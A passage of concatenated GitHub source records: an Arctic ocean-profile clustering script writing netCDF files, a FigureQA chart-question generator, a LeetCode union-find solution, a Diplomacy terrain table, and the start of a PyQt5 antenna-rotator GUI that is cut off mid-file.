{'netcdf_file':'netcdfs/AIDJEX_BigBear.nc',\n 'sources_dict':{'AIDJEX_BigBear':'all'},\n 'data_filters':dfs1,\n 'pfs_object':pfs_fltrd,\n 'cl_x_var':'SA',\n 'cl_y_var':'la_CT',\n 'm_pts':300\n }\n\n## AIDJEX\nAJX_clstr_dict = {'netcdf_file':'netcdfs/AIDJEX_mpts_500_ell_010.nc',\n 'sources_dict':{'AIDJEX_BigBear':'all','AIDJEX_BlueFox':'all','AIDJEX_Caribou':'all','AIDJEX_Snowbird':'all'},\n 'data_filters':dfs1,\n 'pfs_object':pfs_fltrd,\n 'cl_x_var':'SA',\n 'cl_y_var':'la_CT',\n 'm_pts':500\n }\nAJX_clstr_dict = {'netcdf_file':'netcdfs/AIDJEX_mpts_300_ell_100.nc',\n 'sources_dict':{'AIDJEX_BigBear':'all','AIDJEX_BlueFox':'all','AIDJEX_Caribou':'all','AIDJEX_Snowbird':'all'},\n 'data_filters':dfs1,\n 'pfs_object':pfs_fltrd,\n 'cl_x_var':'SA',\n 'cl_y_var':'la_CT',\n 'm_pts':300\n }\nAJX_clstr_dict = {'netcdf_file':'netcdfs/AIDJEX_mpts_490_ell_050.nc',\n 'sources_dict':{'AIDJEX_BigBear':'all','AIDJEX_BlueFox':'all','AIDJEX_Caribou':'all','AIDJEX_Snowbird':'all'},\n 'data_filters':dfs1,\n 'pfs_object':pfs_fltrd,\n 'cl_x_var':'SA',\n 'cl_y_var':'la_CT',\n 'm_pts':490\n }\n\n## BGOS\nBGOS_clstr_dict = {'netcdf_file':'netcdfs/BGOS_mpts_440_ell_010.nc',\n 'sources_dict':{'ITP_33':'all','ITP_34':'all','ITP_35':'all','ITP_41':'all','ITP_42':'all','ITP_43':'all'},\n 'data_filters':dfs1,\n 'pfs_object':pfs_fltrd,\n 'cl_x_var':'SA',\n 'cl_y_var':'la_CT',\n 'm_pts':440\n }\nBGOS_clstr_dict = {'netcdf_file':'netcdfs/BGOS_mpts_360_ell_100.nc',\n 'sources_dict':{'ITP_33':'all','ITP_34':'all','ITP_35':'all','ITP_41':'all','ITP_42':'all','ITP_43':'all'},\n 'data_filters':dfs1,\n 'pfs_object':pfs_fltrd,\n 'cl_x_var':'SA',\n 'cl_y_var':'la_CT',\n 'm_pts':360\n }\nBGOS_clstr_dict = {'netcdf_file':'netcdfs/BGOS_mpts_280_ell_050.nc',\n 'sources_dict':{'ITP_33':'all','ITP_34':'all','ITP_35':'all','ITP_41':'all','ITP_42':'all','ITP_43':'all'},\n 'data_filters':dfs1,\n 'pfs_object':pfs_fltrd,\n 'cl_x_var':'SA',\n 'cl_y_var':'la_CT',\n 'm_pts':280\n }\n\n## BGOSss\nBGOSss_clstr_dict = {'netcdf_file':'netcdfs/BGOSss_mpts_260_ell_010.nc',\n 'sources_dict':{'ITP_33':'all','ITP_34':'all','ITP_35':'all','ITP_41':'all','ITP_42':'all','ITP_43':'all'},\n 'data_filters':dfs1,\n 'pfs_object':pfs_fltrd_ss,\n 'cl_x_var':'SA',\n 'cl_y_var':'la_CT',\n 'm_pts':260\n }\nBGOSss_clstr_dict = {'netcdf_file':'netcdfs/BGOSss_mpts_220_ell_100.nc',\n 'sources_dict':{'ITP_33':'all','ITP_34':'all','ITP_35':'all','ITP_41':'all','ITP_42':'all','ITP_43':'all'},\n 'data_filters':dfs1,\n 'pfs_object':pfs_fltrd_ss,\n 'cl_x_var':'SA',\n 'cl_y_var':'la_CT',\n 'm_pts':220\n }\nBGOSss_clstr_dict = {'netcdf_file':'netcdfs/BGOSss_mpts_340_ell_050.nc',\n 'sources_dict':{'ITP_33':'all','ITP_34':'all','ITP_35':'all','ITP_41':'all','ITP_42':'all','ITP_43':'all'},\n 'data_filters':dfs1,\n 'pfs_object':pfs_fltrd_ss,\n 'cl_x_var':'SA',\n 'cl_y_var':'la_CT',\n 'm_pts':340\n }\n\nfor clstr_dict in [BGOS_clstr_dict]:#, ITP3_clstr_dict]:\n# for clstr_dict in [AJX_clstr_dict, BGOSss_clstr_dict, BGOS_clstr_dict]:\n gattrs_to_print = ['Last modified',\n 'Last modification',\n 'Last clustered',\n 'Clustering x-axis',\n 'Clustering y-axis',\n 'Clustering m_pts',\n 'Clustering filters',\n 'Clustering DBCV']\n\n gattrs_to_copy = { # Note: can't store datetime objects in netcdfs\n 'Title':'',\n 'Source':'',\n 'Instrument':'',\n 'Data Attribution':'',\n 'Data Source':'',\n 'Data Organizer':'',\n 'Reference':'',\n 'Original vertical measure':'',\n 'Original temperature measure':'',\n 'Original salinity measure':'',\n 'Sub-sample scheme':'',\n 'Moving average window':''\n }\n # Find the netcdf to which to write the clustering results\n try:\n my_nc = clstr_dict['netcdf_file']\n except:\n my_nc = False\n # Make new netcdf to store clustering results\n if my_nc != False:\n # Will make a new netcdf to store the clustering results\n ds_var_info = {}\n # ds_coord_info = {}\n # Create data set object\n ds_object = ahf.Data_Set(clstr_dict['sources_dict'], clstr_dict['data_filters'])\n # Copy down the global attributes to put into the new netcdf later\n # Loop through each dataset (one for each instrument)\n for ds in ds_object.arr_of_ds:\n # Loop through the variables to get the information\n # print(ds.variables)\n # exit(0)\n for var in ds.variables:\n var_ = ds.variables[var]\n # print('Variable:',var,'attrs:',var_.attrs)\n ds_var_info[var] = var_.attrs\n # print(ds_var_info)\n # print('')\n # print(ds.coords)\n # for coord in ds.coords:\n # coord_ = ds.coords[coord]\n # print(coord_.attrs)\n # exit(0)\n # Loop through each of that dataset's global attributes\n for attr in ds.attrs:\n # See if it's an attribute we want to copy\n if attr in gattrs_to_copy:\n this_attr = str(ds.attrs[attr])\n # See whether we've already copied it in\n if this_attr not in gattrs_to_copy[attr]:\n gattrs_to_copy[attr] = gattrs_to_copy[attr] + ds.attrs[attr] + ' '\n #\n #\n #\n #\n # print(gattrs_to_copy)\n # exit(0)\n # Create profile filter object\n pfs_object = clstr_dict['pfs_object']\n # Create plot parameters object\n pp_clstr = ahf.Plot_Parameters(x_vars=[clstr_dict['cl_x_var']], y_vars=[clstr_dict['cl_y_var']], clr_map='cluster', extra_args={'b_a_w_plt':True, 'cl_x_var':clstr_dict['cl_x_var'], 'cl_y_var':clstr_dict['cl_y_var'], 'm_pts':clstr_dict['m_pts'], 'extra_vars_to_keep':['BL_yn', 'up_cast', 'lon', 'lat', 'press_max', 'press_CT_max', 'alpha', 'beta', 'ma_CT']}, legend=True)\n # Create analysis group\n group_test_clstr = ahf.Analysis_Group(ds_object, pfs_object, pp_clstr)\n # Make a figure to run clustering algorithm and check results\n ahf.make_figure([group_test_clstr])\n\n # Does this netcdf already exist?\n try:\n ds = xr.load_dataset(my_nc)\n print('- Previously,',my_nc)\n # See the variables before\n for attr in gattrs_to_print:\n print('\\t',attr+':',ds.attrs[attr])\n except:\n foo = 2\n \n # Pull the dataframes from the analysis group\n dfs = group_test_clstr.data_frames\n # print('len(group_test_clstr.data_frames):',len(dfs))\n # exit(0)\n # Loop through each dataframe each (avoiding index collisions)\n # if 'AIDJEX' in gattrs_to_copy['Source']:\n # print('Avoiding index collisions')\n # for df in dfs:\n # # Get list of instruments\n # instrmts = np.unique(np.array(df['instrmt']))\n # # Need to make the `Time` values unique for each instrument\n # # Can only change values of columns, not indexes, so reset Time\n # df.reset_index(inplace=True, level='Time')\n # # Loop across each instrument\n # i = 0\n # for instrmt in instrmts:\n # i += 1\n # # Add i seconds to all the time values\n # df.loc[df['instrmt'] == instrmt, ['Time']] = df.loc[df['instrmt'] == instrmt, ['Time']] + np.timedelta64(i, 's')\n # new_df = pd.concat(dfs)\n # # Make `Time` and index again\n # new_df = new_df.set_index('Time', append=True)\n # # Turn `Vertical` on and then off again as index to reset index order\n # new_df.reset_index(inplace=True, level='Vertical')\n # new_df = new_df.set_index('Vertical', append=True)\n #else:\n print('Avoiding index collisions for ITPSs by adding `instrmt` as an index')\n new_df = pd.concat(dfs)\n new_df = new_df.set_index('instrmt', append=True)\n # print(new_df)\n # print('Duplicated indices')\n # print(new_df.index[new_df.index.duplicated()].unique())\n # exit(0)\n # Convert back to xarray dataset\n ds = new_df.to_xarray()\n # Put the global attributes back in\n for attr in gattrs_to_copy:\n ds.attrs[attr] = gattrs_to_copy[attr]\n # Update the global variables:\n ds.attrs['Creation date'] = str(datetime.now())\n ds.attrs['Last modified'] = str(datetime.now())\n ds.attrs['Last modification'] = 'Updated clustering'\n ds.attrs['Last clustered'] = str(datetime.now())\n ds.attrs['Clustering x-axis'] = clstr_dict['cl_x_var']\n ds.attrs['Clustering y-axis'] = clstr_dict['cl_y_var']\n ds.attrs['Clustering m_pts'] = clstr_dict['m_pts']\n ds.attrs['Clustering filters'] = ahf.print_profile_filters(clstr_dict['pfs_object'])\n ds.attrs['Clustering DBCV'] = group_test_clstr.data_set.arr_of_ds[0].attrs['Clustering DBCV']\n # Add the variable attributes back in\n for var in ds.variables:\n if var in ds_var_info.keys():\n ds.variables[var].attrs = ds_var_info[var]\n # Write out to netcdf\n print('Writing data to',my_nc)\n ds.to_netcdf(my_nc, 'w')\n # Load in with xarray\n ds2 = xr.load_dataset(my_nc)\n # See the variables after\n for attr in gattrs_to_print:\n print('\\t',attr+':',ds2.attrs[attr])\n #\n # Overwrite existing netcdf with clustering results\n else:\n # Make sure only one, complete source file was specified\n if len(clstr_dict['sources_dict']) > 1:\n print('Must specify `netcdf_file` in cluster dictionary when using multiple sources')\n exit(0)\n else:\n # Find the netcdf file name of the original\n # Get a list which should be: (name_of_source, 'all')\n this_source = next(iter(clstr_dict['sources_dict'].items()))\n if this_source[1] == 'all':\n my_nc = 'netcdfs/' + this_source[0] + '.nc'\n else:\n print('Must specify `all` from a source to overwrite netcdf file')\n exit(0)\n # Create data set object\n ds_object = ahf.Data_Set(clstr_dict['sources_dict'], clstr_dict['data_filters'])\n # Find the xarray dataset\n ds = ds_object.xarrs[0]\n # Convert a subset of the dataset to a dataframe\n og_df = ds[['cluster', 'clst_prob']].squeeze().to_dataframe()\n # Get the original dimensions of the data to reshape the arrays later\n len0 = len(og_df.index.get_level_values(0).unique())\n len1 = len(og_df.index.get_level_values(1).unique())\n # See the variables before\n for attr in gattrs_to_print:\n print('\\t',attr+':',ds.attrs[attr])\n\n # Create profile filter object\n pfs_object = clstr_dict['pfs_object']\n # Create plot parameters object\n pp_clstr = ahf.Plot_Parameters(x_vars=[clstr_dict['cl_x_var']], y_vars=[clstr_dict['cl_y_var']], clr_map='cluster', extra_args={'b_a_w_plt':False, 'cl_x_var':clstr_dict['cl_x_var'], 'cl_y_var':clstr_dict['cl_y_var'], 'm_pts':clstr_dict['m_pts']}, legend=False)\n # Create analysis group\n group_test_clstr = ahf.Analysis_Group(ds_object, pfs_object, pp_clstr)\n # Make a figure to run clustering algorithm and check results\n ahf.make_figure([group_test_clstr])\n\n print('making changes')\n # Pull the now modified dataframe from the analysis group\n new_df = group_test_clstr.data_frames[0][['cluster','clst_prob']]\n # Update the original dataframe from the netcdf with the filtered dataframe from plotting\n og_df.update(new_df)\n # Put the clustering variables back into the dataset\n ds['cluster'].values = og_df['cluster'].values.reshape((len0, len1))\n ds['clst_prob'].values = og_df['clst_prob'].values.reshape((len0, len1))\n # Update the global variables:\n ds.attrs['Last modified'] = str(datetime.now())\n ds.attrs['Last modification'] = 'Updated clustering'\n ds.attrs['Last clustered'] = str(datetime.now())\n ds.attrs['Clustering x-axis'] = clstr_dict['cl_x_var']\n ds.attrs['Clustering y-axis'] = clstr_dict['cl_y_var']\n ds.attrs['Clustering m_pts'] = clstr_dict['m_pts']\n ds.attrs['Clustering filters'] = ahf.print_profile_filters(clstr_dict['pfs_object'])\n ds.attrs['Clustering DBCV'] = group_test_clstr.data_set.arr_of_ds[0].attrs['Clustering DBCV']\n # Write out to netcdf\n print('Writing data to',my_nc)\n ds.to_netcdf(my_nc, 'w')\n # Load in with xarray\n ds2 = xr.load_dataset(my_nc)\n # See the variables after\n for attr in gattrs_to_print:\n print('\\t',attr+':',ds2.attrs[attr])\n\n\n\n# \n# exit(0)\n# # Load in with xarray\n# xarrs, var_attr_dicts = ahf.list_xarrays(clstr_dict['sources_dict'])\n# if len(xarrs) == 1:\n# ds = xarrs[0]\n# else: \n# # Find the maximum length of the `Vertical` dimension between all xarrays\n# max_vertical = 0\n# for i in range(len(xarrs)):\n# this_vertical = xarrs[i].dims['Vertical']\n# print(this_vertical)\n# max_vertical = max(max_vertical, this_vertical)\n# print('max_vertical:',max_vertical)\n# # exit(0)\n# print(xarrs[0])\n# print('')\n# # Get the list of variables that just have the `Time` dimension\n# list_of_time_vars = []\n# for var in xarrs[0].variables:\n# these_dims = xarrs[0][var].dims\n# if these_dims == ('Time',):\n# # print(var,xarrs[0][var].dims)\n# list_of_time_vars.append(var)\n# list_of_time_vars.remove('Time')\n# # print(list_of_time_vars)\n# # Convert to a pandas data frame\n# test_df = xarrs[0].to_dataframe()\n# # print('test_df:')\n# # print(test_df)\n# print('')\n# # Convert back to xarray\n# test_ds = test_df.to_xarray()\n# # Reset the variables to have jus the dimensions they did originally\n# for var in list_of_time_vars:\n# test_ds[var] = test_ds[var].isel(Vertical=0, drop=True)\n# print('test_ds:')\n# print(test_ds)\n# # print(xarrs[0].dims)\n# # Concatonate the xarrays\n# # ds = xr.concat(xarrs)\n# # print('')\n# # print('ds to df:')\n# # print(ds.dims)\n# # print(ds.to_dataframe())\n# exit(0)\n# \n# # Convert a subset of the dataset to a dataframe\n# og_df = ds[['cluster', 'clst_prob']].squeeze().to_dataframe()\n# # Get the original dimensions of the data to reshape the arrays later\n# len0 = len(og_df.index.get_level_values(0).unique())\n# len1 = len(og_df.index.get_level_values(1).unique())\n# # print('Dataframe from netcdf, selected columns:')\n# # print(og_df)\n# # print('')\n# # print('Dataframe from netcdf, non-NaN rows:')\n# # print(og_df[~og_df.isnull().any(axis=1)])\n# # print('')\n# # See the variables before\n# for attr in gattrs_to_print:\n# print('\\t',attr+':',ds.attrs[attr])\n# \n# \n# \n# print('making changes')\n# # Pull the now modified dataframe from the analysis group\n# new_df = group_test_clstr.data_frames[0][['cluster','clst_prob']]\n# # print('Dataframe from plotting, selected columns:')\n# # print(new_df)\n# # print('')\n# # print('Dataframe from plotting, non-NaN rows:')\n# # print(new_df[~new_df.isnull().any(axis=1)])\n# # Update the original dataframe from the netcdf with the filtered dataframe from plotting\n# og_df.update(new_df)\n# # print('Dataframe from netcdf, updated:')\n# # print(og_df)\n# # print('')\n# # print('Dataframe from netcdf, non-NaN rows:')\n# # print(og_df[~og_df.isnull().any(axis=1)])\n# # Put the clustering variables back into the dataset\n# ds['cluster'].values = og_df['cluster'].values.reshape((len0, len1))\n# ds['clst_prob'].values = og_df['clst_prob'].values.reshape((len0, len1))\n# # Update the global variables:\n# ds.attrs['Last modified'] = str(datetime.now())\n# ds.attrs['Last modification'] = 'Updated clustering'\n# ds.attrs['Last clustered'] = str(datetime.now())\n# ds.attrs['Clustering x-axis'] = clstr_dict['cl_x_var']\n# ds.attrs['Clustering y-axis'] = clstr_dict['cl_y_var']\n# ds.attrs['Clustering m_pts'] = clstr_dict['m_pts']\n# ds.attrs['Clustering filters'] = ahf.print_profile_filters(clstr_dict['pfs_object'])\n# ds.attrs['Clustering DBCV'] = group_test_clstr.data_set.arr_of_ds[0].attrs['Clustering DBCV']\n# # Write out to netcdf\n# print('Writing data to',my_nc)\n# ds.to_netcdf(my_nc, 'w')\n# # Load in with xarray\n# ds2 = xr.load_dataset(my_nc)\n# # See the variables after\n# for attr in gattrs_to_print:\n# print('\\t',attr+':',ds2.attrs[attr])\n","repo_name":"scheemik/Staircase_Clustering_Detection_Algorithm_v2","sub_path":"cluster_data.py","file_name":"cluster_data.py","file_ext":"py","file_size_in_byte":20162,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"10251450789","text":"#!/usr/bin/python\nimport numpy as np\nimport random\n\nfrom collections import Counter\n\nfrom utils import augment_questions\n\n\ndef _get_cat_noncat_bars(bars_data):\n \"\"\" Returns (cat, non-cat) \"\"\"\n if type(bars_data['x'][0]) == type(\"\") or type(bars_data['x'][0]) == type(u\"\"):\n return 'x', 'y'\n else:\n return 'y', 'x'\n\n\ndef _generate(original_data, cat, noncat, color_map=None):\n \"\"\"\n Generate two questions (yes/no) of each type\n \"\"\"\n qa_pairs = []\n data = zip(original_data[cat], original_data[noncat])\n\n sorted_categories = sorted(data, key=lambda b: b[1])\n\n # Get min and max\n min_category = sorted_categories[0]\n max_category = sorted_categories[-1]\n\n qa_pairs += [{\n 'question_string': \"Is %s the minimum?\" % min_category[0], 'question_id': 0,\n 'color1_name': min_category[0], 'color2_name': \"--None--\",\n 'answer': 1\n },\n {\n 'question_string': \"Is %s the maximum?\" % max_category[0], 'question_id': 1,\n 'color1_name': max_category[0], 'color2_name': \"--None--\",\n 'answer': 1\n }]\n\n # If the min and max aren't equal, then we can get greater/less than +ve answers\n if min_category[1] != max_category[1]:\n\n not_min_category, not_max_category, greater, less = None, None, None, None\n indices_to_try = np.random.permutation(range(len(data))).tolist()\n\n for i in range(1, len(indices_to_try)):\n if not_min_category and not_max_category and greater and less:\n break\n\n if data[i][1] < sorted_categories[-1][1]:\n not_max_category = data[i][0]\n\n if data[i][1] > sorted_categories[0][1]:\n not_min_category = data[i][0]\n\n if data[i - 1][1] < data[i][1]:\n less = data[i - 1][0]\n greater = data[i][0]\n\n elif data[i - 1][1] > data[i][1]:\n less = data[i][0]\n greater = data[i - 1][0]\n\n if not_min_category:\n qa_pairs.append({\n 'question_string': \"Is %s the minimum?\" % not_min_category, 'question_id': 0,\n 'color1_name': not_min_category, 'color2_name': \"--None--\",\n 'answer': 0\n })\n\n if not_max_category:\n qa_pairs.append({\n 'question_string': \"Is %s the maximum?\" % not_max_category, 'question_id': 1,\n 'color1_name': not_max_category, 'color2_name': \"--None--\",\n 'answer': 0\n })\n \n if less and greater:\n qa_pairs += [{\n 'question_string': \"Is %s greater than %s?\" % (greater, less), 'question_id': 3,\n 'color1_name': greater, 'color2_name': less,\n 'answer': 1\n },\n {\n 'question_string': \"Is %s less than %s?\" % (less, greater), 'question_id': 2,\n 'color1_name': less, 'color2_name': greater,\n 'answer': 1},\n {\n 'question_string': \"Is %s greater than %s?\" % (less, greater), 'question_id': 3,\n 'color1_name': less, 'color2_name': greater,\n 'answer': 0},\n {\n 'question_string': \"Is %s less than %s?\" % (greater, less), 'question_id': 2,\n 'color1_name': greater, 'color2_name': less,\n 'answer': 0\n }]\n\n else:\n qa_pairs += [{\n 'question_string': \"Is %s greater than %s?\" % (min_category, max_category), 'question_id': 3,\n 'color1_name': min_category, 'color2_name': max_category,\n 'answer': 0\n },\n {\n 'question_string': \"Is %s less than %s?\" % (max_category, min_category), 'question_id': 2,\n 'color1_name': max_category, 'color2_name': min_category,\n 'answer': 0\n }]\n\n # Get median\n if len(sorted_categories) % 2 == 1:\n median_low_index = len(sorted_categories) / 2\n median_high_index = median_low_index\n else:\n median_high_index = len(sorted_categories) / 2\n median_low_index = median_high_index - 1\n\n median_low = sorted_categories[median_low_index][0]\n median_high = sorted_categories[median_high_index][0]\n\n not_median_low = sorted_categories[random.choice(range(median_low_index) \\\n + range(median_low_index + 1, len(sorted_categories) ))][0]\n not_median_high = sorted_categories[random.choice(range(median_high_index) \\\n + range(median_high_index + 1, len(sorted_categories) ))][0]\n\n qa_pairs += [{\n 'question_string': \"Is %s the high median?\" % median_high, 'question_id': 5,\n 'color1_name': median_high, 'color2_name': \"--None--\",\n 'answer': 1\n },\n {\n 'question_string': \"Is %s the low median?\" % median_low, 'question_id': 4,\n 'color1_name': median_low, 'color2_name': \"--None--\",\n 'answer': 1\n },\n {\n 'question_string': \"Is %s the high median?\" % not_median_high, 'question_id': 5,\n 'color1_name': not_median_high, 'color2_name': \"--None--\",\n 'answer': 0\n },\n {\n 'question_string': \"Is %s the low median?\" % not_median_low, 'question_id': 4,\n 'color1_name': not_median_low, 'color2_name': \"--None--\",\n 'answer': 0\n }]\n\n if color_map:\n augment_questions(qa_pairs, color_map)\n\n return qa_pairs\n\n\ndef generate_bar_graph_questions(data, color_map=None):\n data = data['models'][0]\n cat, noncat = _get_cat_noncat_bars(data)\n return _generate(data, cat, noncat, color_map)\n\n\ndef generate_pie_chart_questions(data, color_map=None):\n new_data = { 'labels': [], 'spans': []}\n\n for model in data['models']:\n new_data['labels'].append(model['label'])\n new_data['spans'].append(model['span'])\n\n return _generate(new_data, 'labels', 'spans', color_map)\n","repo_name":"Maluuba/FigureQA","sub_path":"figureqa/generation/questions/categorical.py","file_name":"categorical.py","file_ext":"py","file_size_in_byte":6655,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"31"} +{"seq_id":"74240027607","text":"class DSU:\n \n def __init__(self,n):\n self.parents = list(range(n))\n self.edges = 0\n \n def Find(self,node):\n if node == self.parents[node]:\n return node\n \n self.parents[node] = self.Find(self.parents[node])\n return self.parents[node]\n \n def Union(self,x,y):\n Parent1 = self.Find(x)\n Parent2 = self.Find(y)\n\n if Parent1 != Parent2:\n self.parents[Parent2] = Parent1\n self.edges += 1\n return 0\n else:\n return 1\n \nclass Solution:\n def maxNumEdgesToRemove(self, n: int, edges: List[List[int]]) -> int:\n alice = DSU(n+1)\n bob = DSU(n+1)\n \n ans = 0\n \n for t , u , v in edges:\n if t == 3:\n ans += alice.Union(u,v)\n bob.Union(u,v)\n \n # construct MST for type-1 edges\n for t , u , v in edges:\n if t == 1:\n ans += alice.Union(u,v)\n \n # check if there is only one connected component\n if alice.edges != n-1:\n return -1\n \n # construct MST for type-2 edges\n for t , u , v in edges:\n if t == 2:\n ans += bob.Union(u,v)\n \n # check if there is only one connected component\n if bob.edges != n-1:\n return -1\n \n return ans\n\n","repo_name":"GunalanD95/LeetCode","sub_path":"1579-remove-max-number-of-edges-to-keep-graph-fully-traversable/1579-remove-max-number-of-edges-to-keep-graph-fully-traversable.py","file_name":"1579-remove-max-number-of-edges-to-keep-graph-fully-traversable.py","file_ext":"py","file_size_in_byte":1445,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"22131133704","text":"#\n# Standard Diplomacy Variant\n#\n# Initial Terrain Types\n#\n# The Terrain Dictionary is of the form \n#\n#\tkey : Terrain Kind value : List of Provinces\n#\n\nTerrain = { 'Lands' : \t\t[\t'Alb', 'Ank', 'Apu', 'Arm', 'Bel',\n\t\t\t\t\t\t'Ber', 'Boh', 'Bre', 'Bud', 'Bul',\n\t\t\t\t\t\t'Bur', 'Cly', 'Con', 'Den', 'Edi',\n\t\t\t\t\t\t'Fin', 'Gal', 'Gas', 'Gre', 'Hol',\n\t\t\t\t\t\t'Kie', 'Lon', 'Lvn', 'Lvp', 'Mar',\n\t\t\t\t\t\t'Mos', 'Mun', 'NAf', 'Nap', 'Nwy',\n\t\t\t\t\t\t'Par', 'Pic', 'Pie', 'Por', 'Pru',\n\t\t\t\t\t\t'Rom', 'Ruh', 'Rum', 'Ser', 'Sev',\n\t\t\t\t\t\t'Sil', 'Smy', 'Spa', 'StP', 'Swe',\n\t\t\t\t\t\t'Syr', 'Tri', 'Tun', 'Tus', 'Tyr',\n\t\t\t\t\t\t'Ukr', 'Ven', 'Vie', 'Wal', 'War',\n\t\t\t\t\t\t'Yor' ],\n\t\t'Waters' : \t\t[\t'Adr', 'Aeg', 'Bal', 'Bar', 'Bla',\n\t\t\t\t\t\t'Eas', 'Eng', 'GoB', 'GoL', 'Hel',\n\t\t\t\t\t\t'Ion', 'Iri', 'Mid', 'NAt', 'Nwg',\n\t\t\t\t\t\t'Nth', 'Ska', 'TyS', 'Wes' ],\n\t\t'Mountains' : \t[\t'Swi' ] }\n","repo_name":"woelpad/diplomatic-pouch","sub_path":"web/Email/Ratings/Tarzan/Python/variants/stnd_ter.py","file_name":"stnd_ter.py","file_ext":"py","file_size_in_byte":841,"program_lang":"python","lang":"ky","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"74353669527","text":"from PyQt5 import QtCore, QtGui, QtWidgets\nfrom PyQt5.QtCore import QObject, QThread, pyqtSignal, pyqtSlot\n\nclass Ui_MainWindow(QObject):\n def setupUi(self, MainWindow):\n MainWindow.setObjectName(\"MainWindow\")\n MainWindow.resize(820, 636)\n font = QtGui.QFont()\n font.setBold(False)\n font.setWeight(50)\n MainWindow.setFont(font)\n MainWindow.setStyleSheet(\"background-color: rgb(33, 33, 33);\\n\"\n\"color: white;\\n\"\n\"\")\n self.centralwidget = QtWidgets.QWidget(MainWindow)\n self.centralwidget.setObjectName(\"centralwidget\")\n self.azimuthDisplayGroup = QtWidgets.QGroupBox(self.centralwidget)\n self.azimuthDisplayGroup.setGeometry(QtCore.QRect(20, 10, 381, 231))\n self.azimuthDisplayGroup.setStyleSheet(\"\")\n self.azimuthDisplayGroup.setObjectName(\"azimuthDisplayGroup\")\n self.azimuthDialDisplay = QtWidgets.QDial(self.azimuthDisplayGroup)\n self.azimuthDialDisplay.setGeometry(QtCore.QRect(110, 50, 171, 161))\n self.azimuthDialDisplay.setStyleSheet(\"background-color: rgb(109, 152, 134);\")\n self.azimuthDialDisplay.setMaximum(360)\n self.azimuthDialDisplay.setTracking(True)\n self.azimuthDialDisplay.setInvertedControls(False)\n self.azimuthDialDisplay.setWrapping(True)\n self.azimuthDialDisplay.setNotchesVisible(True)\n self.azimuthDialDisplay.setObjectName(\"azimuthDialDisplay\")\n self.azimuthLCDDisplay = QtWidgets.QLCDNumber(self.azimuthDisplayGroup)\n self.azimuthLCDDisplay.setGeometry(QtCore.QRect(160, 120, 71, 23))\n self.azimuthLCDDisplay.setObjectName(\"azimuthLCDDisplay\")\n self.ccwButton = QtWidgets.QCommandLinkButton(self.azimuthDisplayGroup)\n self.ccwButton.setGeometry(QtCore.QRect(20, 20, 101, 71))\n icon = QtGui.QIcon()\n icon.addPixmap(QtGui.QPixmap(\"img/arrow-left.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\n self.ccwButton.setIcon(icon)\n self.ccwButton.setIconSize(QtCore.QSize(50, 50))\n self.ccwButton.setObjectName(\"ccwButton\")\n self.cwButton = QtWidgets.QCommandLinkButton(self.azimuthDisplayGroup)\n self.cwButton.setGeometry(QtCore.QRect(270, 20, 91, 71))\n icon1 = QtGui.QIcon()\n icon1.addPixmap(QtGui.QPixmap(\"img/arrow-right.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\n self.cwButton.setIcon(icon1)\n self.cwButton.setIconSize(QtCore.QSize(50, 50))\n self.cwButton.setObjectName(\"cwButton\")\n self.elevationDisplayGroup = QtWidgets.QGroupBox(self.centralwidget)\n self.elevationDisplayGroup.setGeometry(QtCore.QRect(410, 10, 391, 231))\n self.elevationDisplayGroup.setStyleSheet(\"\")\n self.elevationDisplayGroup.setObjectName(\"elevationDisplayGroup\")\n self.elevationDialDisplay = QtWidgets.QDial(self.elevationDisplayGroup)\n self.elevationDialDisplay.setGeometry(QtCore.QRect(110, 50, 171, 161))\n self.elevationDialDisplay.setStyleSheet(\"background-color: rgb(109, 152, 134);\")\n self.elevationDialDisplay.setMaximum(120)\n self.elevationDialDisplay.setSingleStep(1)\n self.elevationDialDisplay.setPageStep(10)\n self.elevationDialDisplay.setSliderPosition(0)\n self.elevationDialDisplay.setTracking(True)\n self.elevationDialDisplay.setOrientation(QtCore.Qt.Horizontal)\n self.elevationDialDisplay.setInvertedAppearance(False)\n self.elevationDialDisplay.setInvertedControls(False)\n self.elevationDialDisplay.setWrapping(False)\n self.elevationDialDisplay.setNotchTarget(3.7)\n self.elevationDialDisplay.setNotchesVisible(True)\n self.elevationDialDisplay.setObjectName(\"elevationDialDisplay\")\n self.elevationLCDDisplay = QtWidgets.QLCDNumber(self.elevationDisplayGroup)\n self.elevationLCDDisplay.setGeometry(QtCore.QRect(160, 120, 71, 23))\n self.elevationLCDDisplay.setObjectName(\"elevationLCDDisplay\")\n self.downButton = QtWidgets.QCommandLinkButton(self.elevationDisplayGroup)\n self.downButton.setGeometry(QtCore.QRect(280, 90, 111, 71))\n icon2 = QtGui.QIcon()\n icon2.addPixmap(QtGui.QPixmap(\"img/arrow-down.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\n self.downButton.setIcon(icon2)\n self.downButton.setIconSize(QtCore.QSize(50, 50))\n self.downButton.setObjectName(\"downButton\")\n self.upButton = QtWidgets.QCommandLinkButton(self.elevationDisplayGroup)\n self.upButton.setGeometry(QtCore.QRect(10, 90, 91, 71))\n icon3 = QtGui.QIcon()\n icon3.addPixmap(QtGui.QPixmap(\"img/arrow-up.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\n self.upButton.setIcon(icon3)\n self.upButton.setIconSize(QtCore.QSize(50, 50))\n self.upButton.setObjectName(\"upButton\")\n self.setPositionGroup = QtWidgets.QGroupBox(self.centralwidget)\n self.setPositionGroup.setGeometry(QtCore.QRect(210, 280, 391, 291))\n self.setPositionGroup.setObjectName(\"setPositionGroup\")\n self.azimuthDialInput = QtWidgets.QDial(self.setPositionGroup)\n self.azimuthDialInput.setGeometry(QtCore.QRect(20, 40, 171, 161))\n self.azimuthDialInput.setStyleSheet(\"background-color: rgb(109, 152, 134);\")\n self.azimuthDialInput.setMaximum(360)\n self.azimuthDialInput.setTracking(True)\n self.azimuthDialInput.setInvertedControls(False)\n self.azimuthDialInput.setWrapping(True)\n self.azimuthDialInput.setNotchesVisible(True)\n self.azimuthDialInput.setObjectName(\"azimuthDialInput\")\n self.azimuthLCDDisplayInput = QtWidgets.QLCDNumber(self.setPositionGroup)\n self.azimuthLCDDisplayInput.setGeometry(QtCore.QRect(70, 110, 71, 23))\n 